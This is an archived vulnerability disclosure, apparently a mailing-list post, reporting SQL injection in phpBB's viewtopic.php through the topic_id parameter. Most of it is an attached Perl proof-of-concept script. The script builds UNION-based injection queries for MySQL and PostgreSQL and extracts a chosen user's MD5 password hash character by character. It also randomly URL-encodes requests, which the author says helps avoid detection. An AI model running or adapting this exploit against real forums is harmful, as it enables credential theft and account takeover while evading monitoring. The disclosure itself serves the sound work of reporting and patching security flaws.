TUCoPS :: Web BBS :: Frequently Exploited :: bt449.txt

phpBB password disclosure by sql injection


------=_NextPart_000_0008_01C33601.F806D390
Content-Type: text/plain;
	charset="US-ASCII"
Content-Transfer-Encoding: 7bit

Hi

There is sql injection vuln in phpBB. The variable "topic_id" is passed
directly from GET to sql query in /viewtopic.php. It can be used 
to get md5 passwords for users. I am attaching details and proof of
concept code.  I've only tested this on mysql 4 and pgsql at my home
machines so I might have missed something...

Rick Patel

------=_NextPart_000_0008_01C33601.F806D390
Content-Type: application/octet-stream;
	name="phpbb_sql.pl"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="phpbb_sql.pl"

#!/usr/bin/perl -w
#
#
#	phpBB	password disclosure vuln.
#	- rick patel	(rikul7@yahoo.com) -
#=09
#	There is a sql injection vuln which exists in /viewtopic.php file. The =
variable is $topic_id
#	which gets passed directly to sql server in query. Attacker could pass =
a special sql string which
#	can used to see md5 password hash for any user (!) for phpBB. This =
pass can be later used with
#	autologin or cracked using john. =20
#
#	Details:=20
#
#	this is checking done for $topic_id in viewtopic.php:
#
#	if ( isset($HTTP_GET_VARS[POST_TOPIC_URL]) )
#	{
#	      $topic_id =3D intval($HTTP_GET_VARS[POST_TOPIC_URL]);
#	}
#	else if ( isset($HTTP_GET_VARS['topic']) )
#	{
#	      $topic_id =3D intval($HTTP_GET_VARS['topic']);
#	}
#
#	ok... no else statement at end :)
#	now if GET[view]=3Dnewest and GET[sid] is set, this query gets =
executed:
#
#		$sql =3D "SELECT p.post_id
#               FROM " . POSTS_TABLE . " p, " . SESSIONS_TABLE . " s,  " =
. USERS_TABLE . " u
#               WHERE s.session_id =3D '$session_id'
#                  AND u.user_id =3D s.session_user_id
#                  AND p.topic_id =3D $topic_id
#                  AND p.post_time >=3D u.user_lastvisit
#               ORDER BY p.post_time ASC
#               LIMIT 1";
#
#	Ahh! $topic_id gets passed directy to query. So how can we use this to =
do something important? Well
#	I decided to use union and create a second query will get us something =
useful. There were couple of=20
#  	problems i ran into. first, phpBB only cares about the first row =
returned. second, the select for first
#	query is p.post_id which is int, so int becomes the type returned for =
any other query in union. third,
#	there is rest of junk at end " AND p.post_time >=3D ..." We tell mysql =
to ignore that by placing /* at end
# 	of our injected query. So what query can we make that returns only =
int? =20
#	this one =3D> select ord(substring(user_password,$index,1)) from =
phpbb_users where user_id =3D $uid
#	Then all we have to do is query 32 times which $index from 1-32 and we =
get ord value of all chars of
#	md5 hash password.=20
#
#  	I have only tested this with mysql 4 and pgsql . Mysql 3.x does not =
support unions so you would have to tweak
#	the query to do anything useful.=20
#=09
#	This script is for educational purpose only. Please dont use it to do =
anything else.=09
#

use IO::Socket;

$remote =3D shift || 'localhost';
$view_topic =3D shift ||  '/phpBB2/viewtopic.php';
$uid =3D shift || 2;
$port =3D 80;

$dbtype =3D 'mysql4';	# mysql4 or pgsql=20


print "Trying to get password hash for uid $uid server $remote dbtype: =
$dbtype\n";

$p =3D "";

for($index=3D1; $index<=3D32; $index++)
{
	$socket =3D IO::Socket::INET->new(PeerAddr =3D> $remote,
				PeerPort =3D> $port,
				Proto =3D> "tcp",
				Type =3D> SOCK_STREAM)
	or die "Couldnt connect to $remote:$port : $@\n";
	$str =3D "GET $view_topic" . "?sid=3D1&topic_id=3D-1" .  =
random_encode(make_dbsql()) .  "&view=3Dnewest" . " HTTP/1.0\n\n";

	print $socket $str;
	print $socket "Cookie: phpBB2mysql_sid=3D1\n";	# replace this for pgsql =
or remove it
	print $socket "Host: $remote\n\n";

	while ($answer =3D <$socket>)
	{
		if ($answer =3D~ /Location:.*\x23(\d+)/)	# Matches the Location: =
viewtopic.php?p=3D<num>#<num>
		{
			$p .=3D chr ($1);
		}
	}
=09
	close($socket);
}

print "\nMD5 Hash for uid $uid is $p\n";

# random encode str. helps avoid detection
sub random_encode
{
	$str =3D shift;
	$ret =3D "";
	for($i=3D0; $i<length($str); $i++)
	{
		$c =3D substr($str,$i,1);
		$j =3D rand length($str) * 1000;
	=09
		if (int($j) % 2 || $c eq ' ')
		{
			$ret .=3D "%" . sprintf("%x",ord($c));
		}
		else
		{
			$ret .=3D $c;
		}
	}
	return $ret;
}

sub make_dbsql
{
	if ($dbtype eq 'mysql4')
	{
		return " union select ord(substring(user_password," . $index . ",1)) =
from phpbb_users where user_id=3D$uid/*" ;
	} elsif ($dbtype eq 'pgsql')
	{
		return "; select ascii(substring(user_password from $index for 1)) as =
post_id from phpbb_posts p, phpbb_users u where u.user_id=3D$uid or =
false";
	}
	else=20
	{
		return "";
	}
}

------=_NextPart_000_0008_01C33601.F806D390--

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH